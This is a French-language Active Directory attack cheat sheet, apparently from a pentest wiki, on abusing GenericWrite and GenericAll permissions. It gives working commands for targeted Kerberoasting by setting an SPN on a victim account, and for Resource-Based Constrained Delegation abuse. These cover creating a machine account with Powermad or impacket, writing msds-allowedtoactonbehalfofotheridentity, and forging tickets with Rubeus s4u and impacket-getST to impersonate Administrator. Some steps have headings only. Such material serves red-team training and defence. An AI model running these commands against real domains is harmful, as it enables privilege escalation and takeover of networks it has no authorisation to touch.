GenericWrite GenericAll
Les ACE GenericWrite et GenericAll sur un objet AD permettent de l'attaquer de plusieurs manières : ajout d'un SPN pour le rendre kerberoastable (targeted kerberoasting), changement direct du mot de passe, ajout à un groupe privilégié, ou abus de la RBCD sur un compte machine. Vecteur central de la plupart des chaînes d'attaque AD.
📝 Ajout d'un SPN pour Kerberoasting¶
Si notre utilisateur a les droits GenericWrite ou GenericAll sur un objet de l'AD, il est possible de mettre un SPN sur cet objet, ce qui le rend par la suite kerberoastable.
Énumération des droits de notre utilisateur :
Mise en place d'un SPN sur l'utilisateur cible :
Set-DomainObject -Identity UtilisateurCible -Set @{serviceprincipalname='us/hackedBro'}
---
Set-ADUser -Identity UtilisateurCible -ServicePrincipalNames @{add='us/hackedBro'}
Kerberoasting de l'utilisateur :
Cracking du hash :
Changement direct de mot de passe avec GenericAll¶
Avec le droit GenericAll, il est possible de changer directement le mot de passe de l'objet sur lequel le droit s'applique, mais cette action est beaucoup moins "safe" que d'ajouter un SPN :
Ajout à un groupe avec GenericAll¶
Si le droit GenericAll s'applique sur un groupe, il est possible de s'ajouter dans ce groupe :
📝 GenericWrite sur un compte machine¶
Ce droit permet d'abuser de la Resource-Based Constrained Delegation (RBCD).
🍔 Depuis Windows¶
Pour exploiter ce droit, nous avons besoin des scripts powermad.ps1 et [PowerView](../../../Cheatsheets/Tools/PowerView.md).
Création d'un compte machine :
import-module powermad
New-MachineAccount -MachineAccount paked -Password $(ConvertTo-SecureString 'Sup3P4ssw0rd!' -AsPlainText -Force) -Verbose
Vérification de la création du compte :
Écriture de la propriété msds-allowedtoactonbehalfofotheridentity sur le compte machine cible :
$ComputerSid = Get-DomainComputer paked -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer $cible | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
Récupération du hash du compte machine créé :
Récupération du ticket de l'utilisateur ayant des droits sur le compte machine cible :
rubeus.exe s4u /user:paked$ /aes256:<aes256> /aes128:<aes128> /rc4:<rc4 hash> /impersonateuser:administrator /msdsspn:cifs/cible /domain:domain.local /ptt /altservice:http/cible
🐧 Depuis Linux¶
Création d'un compte machine :
impacket-addcomputer -computer-name 'COMPUTER$' -computer-pass '$password' -dc-host $dc -domain-netbios $DOMAIN 'domain.local\$user:$password'
Écriture de la propriété msds-allowedtoactonbehalfofotheridentity sur le compte machine cible :
impacket-rbcd -delegate-from 'paked$' -delegate-to 'cible$' -dc-ip '$dc$' -action 'write' 'domain.local'/'$utilisateur':'$Password'
Récupération du ticket de l'utilisateur ayant des droits sur le compte machine cible :
impacket-getST -spn 'cifs/$cible' -impersonate Administrator -dc-ip '$dc' 'domain.local/paked$:$password'